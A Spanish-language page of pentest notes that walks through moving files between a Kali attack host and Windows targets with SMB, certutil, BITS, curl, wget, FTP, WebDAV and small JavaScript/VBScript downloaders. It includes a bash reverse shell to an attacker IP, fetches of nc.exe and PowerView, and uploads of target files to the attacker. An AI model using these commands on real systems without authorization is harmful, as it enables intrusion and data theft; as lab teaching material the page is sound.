🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Verify correct file content after transfer
  • Download Operations
  • SMB Server
  • Certutil.exe
  • PowerShell Download Operations
  • Bitsadmin Download Function
  • Curl
  • Wget
  • FTP Downloads
  • JavaScript
  • VBScript
  • Upload Operations
  • PowerShell Upload Operations
  • SMB Uploads
  • FTP Uploads

¿Te fue útil?

Exportar como PDF

File Transfer

Verify correct file content after transfer

# Kali Linux
❯ md5sum <file_name>
e7f7d2522cc7fdec3e6cc2c1e2f20819  <file_name>

# PowerShell
╭╴at  ~\Desktop
╰─ Get-FileHash  C:\Users\gzzcoo\Desktop\shell.sh -Algorithm md5

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
MD5             E7F7D2522CC7FDEC3E6CC2C1E2F20819                                       C:\Users\gzzcoo\Desktop\shell.sh

Download Operations

SMB Server

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support

# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy \\<ATTACKER_IP>\smbFolder\archivo.txt C:\path\destination\archivo.txt

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support

# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Windows.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123

copy x:\archivo.txt C:\path\destination\archivo.txt

Certutil.exe

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargamos el archivo con certutil.exe
certutil.exe -f -urlcache -split http:/<ATTACKER_IP>/archivo.txt C:\path\destination\archivo.txt

PowerShell Download Operations

Disponemos de diversas maneras de realizar una transferencias de archivos hacía la máquina objetivo a través de PowerShell.

PowerShell


Bitsadmin Download Function

El servicio Background Intelligent Transfer Service (BITS) puede usarse para descargar archivos desde sitios HTTP o recursos compartidos SMB. Este servicio tiene la ventaja de que descarga los archivos de forma "inteligente", tomando en cuenta la carga de la red y del sistema para minimizar el impacto en el trabajo del usuario.

File Download with BitsAdmin

C:\htb> bitsadmin /transfer wcb /priority foreground http://10.10.x.x:8000/nc.exe C:\Users\gzzcoo\Desktop\nc.exe

PowerShell + BITS

PS C:\htb> Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.x.x:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Curl

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargarmos el archivo a través de cURL
curl http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

curl <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

Wget

# Desde Kali levantamos un servidor web con Python para compartir archivos.
python3 -m http.server 80

# Desde Windows descargarmos el archivo con wget, si no especificamos -o, se descargará en el directorio actual
wget http://<ATTACKER_IP>/archivo.txt
wget http://<ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

wget <ATTACKER_IP>/archivo.txt
wget <ATTACKER_IP>/archivo.txt -o C:\path\destination\archivo.txt

FTP Downloads

Otra forma de transferir archivos es mediante FTP (File Transfer Protocol), que utiliza los puertos TCP/21 y TCP/20. Podemos utilizar el cliente FTP o PowerShell Net.WebClient para descargar archivos desde un servidor FTP.

Podemos configurar un servidor FTP en nuestro host de ataque utilizando el módulo pyftpdlib de Python3. Se puede instalar con el siguiente comando:

sudo pip3 install pyftpdlib --break-system-packages

Luego podemos especificar el puerto número 21 porque, de forma predeterminada, pyftpdlib usa el puerto 2121. La autenticación anónima está habilitada de forma predeterminada si no configuramos un usuario y una contraseña.

sudo python3 -m pyftpdlib --port 21

Una vez configurado el servidor FTP, podemos realizar transferencias de archivos utilizando el cliente FTP preinstalado desde Windows o PowerShell Net.WebClient.

PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://<ATTACKER_IP>/file.txt', 'C:\Users\Public\ftp-file.txt')

Create a Command File for the FTP Client and Download the Target File

╭╴at  ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "binary" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "GET shell.sh" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "bye" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> GET shell.sh
ftp> bye

╭╴at  ~\Desktop
╰─ cat .\shell.sh
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.37/443 0>&1"

JavaScript

JavaScript es un lenguaje de programación que permite implementar funciones complejas en páginas web. Al igual que con otros lenguajes de programación, podemos usarlo para muchas cosas diferentes.

wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código JavaScript y descargar un archivo.

Download a File Using JavaScript and cscript.exe

C:\htb> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Podemos usar el siguiente comando desde un símbolo del sistema de Windows o una terminal de PowerShell para ejecutar nuestro código VBScript y descargar un archivo.

Download a File Using VBScript and cscript.exe

C:\htb> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload Operations

PowerShell Upload Operations

Disponemos de diversas maneras de realizar una transferencias de archivos de la máquina objetivo hacía la nuestra a través de PowerShell.

PowerShell


SMB Uploads

SMB Server

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -smb2support

# Desde Windows, podemos descargar ficheros de Kali Linux hacía el equipo Windows
copy C:\path\archivo.txt \\<ATTACKER_IP>\smbFolder\archivo.txt

Las nuevas versiones de Windows bloquean el acceso de invitados no autenticados, como podemos ver en el siguiente comando:

You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network.

Para transferir archivos en este escenario, podemos establecer un nombre de usuario y una contraseña usando nuestro servidor SMB Impacket y montar el servidor SMB en nuestra máquina de destino de Windows:

# Desde Kali Linux, montamos un servidor SMB y ya podemos compartir archivos entre máquinas.
impacket-smbserver smbFolder $(pwd) -username gzzcoo -password gzzcoo123 -smb2support

# Desde Windows conectamos el SMB y transferimos el archivo directamente hacía Kali.
net use x: \\<ATTACKER_IP>\smbFolder /user:gzzcoo gzzcoo123

copy C:\path\archivo.txt x:\archivo.txt

WebDAV

Anteriormente discutimos que las empresas suelen permitir el tráfico saliente a través de los protocolos HTTP (TCP/80) y HTTPS (TCP/443). Normalmente, las empresas no permiten el protocolo SMB (TCP/445) fuera de su red interna, ya que esto podría exponerlas a posibles ataques. Para más información sobre esto, podemos leer la publicación de Microsoft Preventing SMB traffic from lateral connections and entering or leaving the network.

Una alternativa es ejecutar SMB sobre HTTP con WebDAV. WebDAV (RFC 4918) es una extensión de HTTP, el protocolo de Internet que utilizan los navegadores y servidores web para comunicarse entre sí. El protocolo WebDAV permite que un servidor web funcione como un servidor de archivos, admitiendo la creación colaborativa de contenido. WebDAV también puede usar HTTPS.

Cuando se usa SMB, primero intentará conectarse mediante el protocolo SMB y, si no encuentra un recurso compartido SMB disponible, intentará conectarse a través de HTTP. En la siguiente captura de Wireshark, intentamos conectarnos al recurso compartido testing3 y, como no encontró nada con SMB, utilizó HTTP.

1 - Configuring WebDav Server

2 - Installing WebDav Python modules

sudo pip3 install wsgidav cheroot --break-system-packages

3 - Using the WebDav Python module

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

4 - Connecting to the Webdav Share

Ahora podemos intentar conectarnos al recurso compartido utilizando el directorio DavWWWRoot. Desde CMD.

CMD
C:\Users\gzzcoo\Desktop>dir \\192.168.134.128\DavWWWRoot
 Volume in drive \\192.168.134.128\DavWWWRoot has no label.
 Volume Serial Number is 0000-0000

 Directory of \\192.168.134.128\DavWWWRoot

06/03/2025  02:44    <DIR>          .
06/03/2025  02:44    <DIR>          ..
06/03/2025  02:18    <DIR>          tmp.h4ikej9g1U

Otro método desde PowerShell.

PowerShell
╭╴at  ~\Desktop
╰─ net use * http://192.168.134.128/ /user:anonymous ""

Comprobar que podemos listar la unidad que se nos ha asignado.

PowerShell
╭╴at  ~\Desktop took 3s
╰─ dir Z:


    Directory: Z:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        06/03/2025      2:18                tmp.h4ikej9g1U
d-----        06/03/2025      0:32                tmp.CfttO9JChM

5 - Uploading Files using SMB

CMD
C:\htb> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.134.129\DavWWWRoot\
PowerShell
╭╴at  ~\Desktop
╰─ copy shell.sh Z:\

FTP Uploads

Subir archivos usando FTP es muy similar a descargar archivos. Podemos usar PowerShell o el cliente FTP para realizar la operación. Antes de iniciar nuestro servidor FTP utilizando el módulo de Python pyftpdlib, necesitamos especificar la opción --write para permitir que los clientes suban archivos a nuestro host de ataque.

sudo python3 -m pyftpdlib --port 21 --write

Ahora usemos la función de carga de PowerShell para subir un archivo a nuestro servidor FTP.

PowerShell Upload File

(New-Object Net.WebClient).UploadFile('ftp://192.168.134.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Create a Command File for the FTP Client to Upload a File

╭╴at  ~\Desktop
╰─ echo "open 192.168.134.128" > ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "USER anonymous" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "binary" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "PUT C:\Windows\System32\drivers\etc\hosts" >> ftpcommand.txt

╭╴at  ~\Desktop
╰─ echo "bye" >> ftpcommand.txt


╭╴at  ~\Desktop took 2s
╰─ ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.134.128
Log in with USER and PASS first.
ftp> USER anonymous

ftp> PUT C:\Windows\System32\drivers\etc\hosts
ftp> bye
AnteriorPass the Cert (PtC)SiguientePowerShell

Última actualización hace 2 meses

¿Te fue útil?

El siguiente código JavaScript se basa en esta y podemos descargar un archivo que lo utilice. Crearemos un archivo llamado wget.js y guardaremos el siguiente contenido:

("Microsoft Visual Basic Scripting Edition") es un lenguaje Active Scripting desarrollado por Microsoft que sigue el modelo de Visual Basic. VBScript se ha instalado de forma predeterminada en todas las versiones de escritorio de Microsoft Windows desde Windows 98.

El siguiente ejemplo de VBScript se puede utilizar en base a . Crearemos un archivo llamado wget.vbs y guardaremos el siguiente contenido:

Para configurar nuestro servidor WebDav, necesitamos instalar dos módulos de Python: wsgidav y cheroot (puedes leer más sobre esta implementación aquí: ). Después de instalarlos, ejecutamos la aplicación wsgidav en el directorio objetivo.

publicación
VBScript
esto
wsgidav GitHub